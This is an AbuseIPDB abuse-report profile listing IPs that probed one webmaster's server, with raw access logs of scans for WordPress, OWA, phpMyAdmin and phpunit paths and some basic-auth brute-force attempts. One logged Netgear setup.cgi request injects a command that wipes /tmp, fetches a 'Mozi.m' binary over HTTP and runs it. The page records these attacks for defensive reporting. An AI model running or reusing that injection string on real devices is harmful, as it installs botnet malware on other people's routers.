AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User GFVAAServicesLtd , the webmaster of gfvaa.com, joined AbuseIPDB in March 2020 and has reported 6,098 IP addresses.

Standing (weight) is good.

INACTIVE USER WEBMASTER

IP	Date	Comment	Categories
🇨🇳 121.5.145.96	05 Jan 2022	121.5.145.96 - - [05/Jan/2022:10:52:15 +0000] "GET /forum/index.php HTTP/1.1" 401 590 "-" "Mozilla/5 ... show more 121.5.145.96 - - [05/Jan/2022:10:52:15 +0000] "GET /forum/index.php HTTP/1.1" 401 590 "-" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Mobile Safari/537.36" ... show less	Hacking Web App Attack
🇨🇳 47.103.110.105	05 Jan 2022	47.103.110.105 - - [05/Jan/2022:10:38:10 +0000] "GET /appserv.php HTTP/1.1" 401 590 "-" "Mozilla/5.0 ... show more 47.103.110.105 - - [05/Jan/2022:10:38:10 +0000] "GET /appserv.php HTTP/1.1" 401 590 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36" ... show less	Hacking Web App Attack
🇺🇸 192.241.219.204	05 Jan 2022	192.241.219.204 - - [05/Jan/2022:09:30:43 +0000] "GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp ... show more 192.241.219.204 - - [05/Jan/2022:09:30:43 +0000] "GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f HTTP/1.1" 401 188 "-" "Mozilla/5.0 zgrab/0.x" ... show less	Hacking Web App Attack
🇨🇳 112.94.102.206	04 Jan 2022	112.94.102.206 - - [04/Jan/2022:12:39:35 +0000] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cm ... show more 112.94.102.206 - - [04/Jan/2022:12:39:35 +0000] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 401 188 "-" "-" ... show less	Hacking Web App Attack
🇺🇸 205.185.125.246	04 Jan 2022	205.185.125.246 - - [04/Jan/2022:11:54:51 +0000] "POST /boaform/admin/formLogin HTTP/1.1" 401 188 "h ... show more 205.185.125.246 - - [04/Jan/2022:11:54:51 +0000] "POST /boaform/admin/formLogin HTTP/1.1" 401 188 "http://86.149.3.70:80/admin/login.asp" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0" ... show less	Hacking Web App Attack
🇧🇩 103.91.54.184	04 Jan 2022	103.91.54.184 - - [04/Jan/2022:11:04:52 +0000] "GET /phpmyadmin_/index.php?lang=en HTTP/1.1" 401 590 ... show more 103.91.54.184 - - [04/Jan/2022:11:04:52 +0000] "GET /phpmyadmin_/index.php?lang=en HTTP/1.1" 401 590 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36" ... show less	Hacking Web App Attack
🇺🇸 192.241.208.227	04 Jan 2022	192.241.208.227 - - [04/Jan/2022:09:17:18 +0000] "GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp ... show more 192.241.208.227 - - [04/Jan/2022:09:17:18 +0000] "GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f HTTP/1.1" 401 188 "-" "Mozilla/5.0 zgrab/0.x" ... show less	Hacking Web App Attack
🇳🇱 103.145.13.223	04 Jan 2022	103.145.13.223 - - [04/Jan/2022:07:04:30 +0000] "GET http://azenv.net/ HTTP/1.1" 401 188 "-" "Go-htt ... show more 103.145.13.223 - - [04/Jan/2022:07:04:30 +0000] "GET http://azenv.net/ HTTP/1.1" 401 188 "-" "Go-http-client/1.1" ... show less	Hacking Web App Attack
🇵🇱 193.169.253.171	04 Jan 2022	193.169.253.171 - - [04/Jan/2022:06:09:07 +0000] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdi ... show more 193.169.253.171 - - [04/Jan/2022:06:09:07 +0000] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 401 590 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" ... show less	Hacking Web App Attack
🇺🇦 213.108.47.231	03 Jan 2022	213.108.47.231 - - [04/Jan/2022:04:44:51 +0000] "GET /sql/sql/index.php?lang=en HTTP/1.1" 401 590 "- ... show more 213.108.47.231 - - [04/Jan/2022:04:44:51 +0000] "GET /sql/sql/index.php?lang=en HTTP/1.1" 401 590 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36" ... show less	Hacking Web App Attack
🇷🇺 178.210.87.251	03 Jan 2022	178.210.87.251 - - [03/Jan/2022:20:41:48 +0000] "GET /wp-login.php HTTP/1.0" 401 188 "-" "Mozilla/5. ... show more 178.210.87.251 - - [03/Jan/2022:20:41:48 +0000] "GET /wp-login.php HTTP/1.0" 401 188 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" ... show less	Hacking Web App Attack
🇷🇺 45.146.165.37	03 Jan 2022	45.146.165.37 - - [03/Jan/2022:18:37:09 +0000] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin ... show more 45.146.165.37 - - [03/Jan/2022:18:37:09 +0000] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 401 590 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" ... show less	Hacking Web App Attack
🇸🇬 178.128.208.170	03 Jan 2022	178.128.208.170 - - [03/Jan/2022:17:16:01 +0000] "GET /wp-login.php HTTP/1.1" 401 188 "-" "Mozilla/5 ... show more 178.128.208.170 - - [03/Jan/2022:17:16:01 +0000] "GET /wp-login.php HTTP/1.1" 401 188 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" ... show less	Hacking Web App Attack
🇺🇸 192.241.208.27	03 Jan 2022	192.241.208.27 - - [03/Jan/2022:09:11:05 +0000] "GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp% ... show more 192.241.208.27 - - [03/Jan/2022:09:11:05 +0000] "GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f HTTP/1.1" 401 188 "-" "Mozilla/5.0 zgrab/0.x" ... show less	Hacking Web App Attack
🇺🇸 198.54.114.46	02 Jan 2022	198.54.114.46 - - [03/Jan/2022:04:24:37 +0000] "GET /wp-login.php HTTP/1.1" 401 188 "-" "Mozilla/5.0 ... show more 198.54.114.46 - - [03/Jan/2022:04:24:37 +0000] "GET /wp-login.php HTTP/1.1" 401 188 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" ... show less	Hacking Web App Attack
🇺🇸 172.105.152.112	02 Jan 2022	172.105.152.112 - - [02/Jan/2022:23:34:40 +0000] "GET /admin/index.php?login HTTP/1.1" 401 590 "-" " ... show more 172.105.152.112 - - [02/Jan/2022:23:34:40 +0000] "GET /admin/index.php?login HTTP/1.1" 401 590 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" ... show less	Hacking Web App Attack
🇨🇦 198.20.170.59	02 Jan 2022	198.20.170.59 - - [02/Jan/2022:19:42:31 +0000] "GET /wp-login.php HTTP/1.1" 401 188 "-" "Mozilla/5.0 ... show more 198.20.170.59 - - [02/Jan/2022:19:42:31 +0000] "GET /wp-login.php HTTP/1.1" 401 188 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" ... show less	Hacking Web App Attack
🇺🇸 192.241.214.4	02 Jan 2022	192.241.214.4 - - [02/Jan/2022:09:06:35 +0000] "GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2 ... show more 192.241.214.4 - - [02/Jan/2022:09:06:35 +0000] "GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f HTTP/1.1" 401 188 "-" "Mozilla/5.0 zgrab/0.x" ... show less	Hacking Web App Attack
🇮🇷 185.165.31.131	02 Jan 2022	185.165.31.131 - - [02/Jan/2022:08:20:45 +0000] "GET /wp-login.php HTTP/1.1" 401 188 "-" "Mozilla/5. ... show more 185.165.31.131 - - [02/Jan/2022:08:20:45 +0000] "GET /wp-login.php HTTP/1.1" 401 188 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" ... show less	Hacking Web App Attack
🇳🇱 2.56.57.93	01 Jan 2022	2.56.57.93 - - [02/Jan/2022:00:55:26 +0000] "GET /xmlrpc.php?rsd HTTP/1.1" 401 590 "-" "Mozilla/5.0 ... show more 2.56.57.93 - - [02/Jan/2022:00:55:26 +0000] "GET /xmlrpc.php?rsd HTTP/1.1" 401 590 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4240.193 Safari/537.36" ... show less	Hacking Web App Attack
🇺🇸 192.241.213.113	01 Jan 2022	192.241.213.113 - - [01/Jan/2022:23:26:43 +0000] "GET /owa/auth/logon.aspx HTTP/1.1" 401 188 "-" "Mo ... show more 192.241.213.113 - - [01/Jan/2022:23:26:43 +0000] "GET /owa/auth/logon.aspx HTTP/1.1" 401 188 "-" "Mozilla/5.0 zgrab/0.x" ... show less	Hacking Web App Attack
🇺🇸 52.13.164.97	01 Jan 2022	2022/01/01 19:33:06 [error] 758#758: 178 user "admin" was not found in "/etc/nginx/.htpasswd", clie ... show more 2022/01/01 19:33:06 [error] 758#758: 178 user "admin" was not found in "/etc/nginx/.htpasswd", client: 52.13.164.97, server: , request: "GET / HTTP/1.1", host: "86.149.3.70", referrer: "http://86.149.3.70/" 2022/01/01 19:33:06 [error] 758#758: 178 user "admin" was not found in "/etc/nginx/.htpasswd", client: 52.13.164.97, server: , request: "GET / HTTP/1.1", host: "86.149.3.70", referrer: "http://86.149.3.70/" 2022/01/01 19:33:06 [error] 758#758: 179 user "admin" was not found in "/etc/nginx/.htpasswd", client: 52.13.164.97, server: , request: "GET / HTTP/1.1", host: "86.149.3.70", referrer: "http://86.149.3.70/" 2022/01/01 19:33:06 [error] 758#758: *179 user "admin" was not found in "/etc/nginx/.htpasswd", client: 52.13.164.97, server: , request: "GET / HTTP/1.1", host: "86.149.3.70", referrer: "http://86.149.3.70/" ... show less	Brute-Force
🇺🇸 54.153.39.197	01 Jan 2022	54.153.39.197 - - [01/Jan/2022:13:40:14 +0000] "GET /owa/auth/logon.aspx HTTP/1.1" 401 590 "-" "Mozi ... show more 54.153.39.197 - - [01/Jan/2022:13:40:14 +0000] "GET /owa/auth/logon.aspx HTTP/1.1" 401 590 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36" ... show less	Hacking Web App Attack
🇲🇳 180.149.125.173	31 Dec 2021	180.149.125.173 - - [01/Jan/2022:04:46:59 +0000] "GET /stalker_portal/server/tools/auth_simple.php H ... show more 180.149.125.173 - - [01/Jan/2022:04:46:59 +0000] "GET /stalker_portal/server/tools/auth_simple.php HTTP/1.1" 401 590 "-" "Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36" ... show less	Hacking Web App Attack
🇿🇦 196.11.178.136	31 Dec 2021	196.11.178.136 - - [01/Jan/2022:03:34:54 +0000] "GET /admin/config.php HTTP/1.1" 400 264 "-" "gbrmss ... show more 196.11.178.136 - - [01/Jan/2022:03:34:54 +0000] "GET /admin/config.php HTTP/1.1" 400 264 "-" "gbrmss/7.29.0" ... show less	Hacking Web App Attack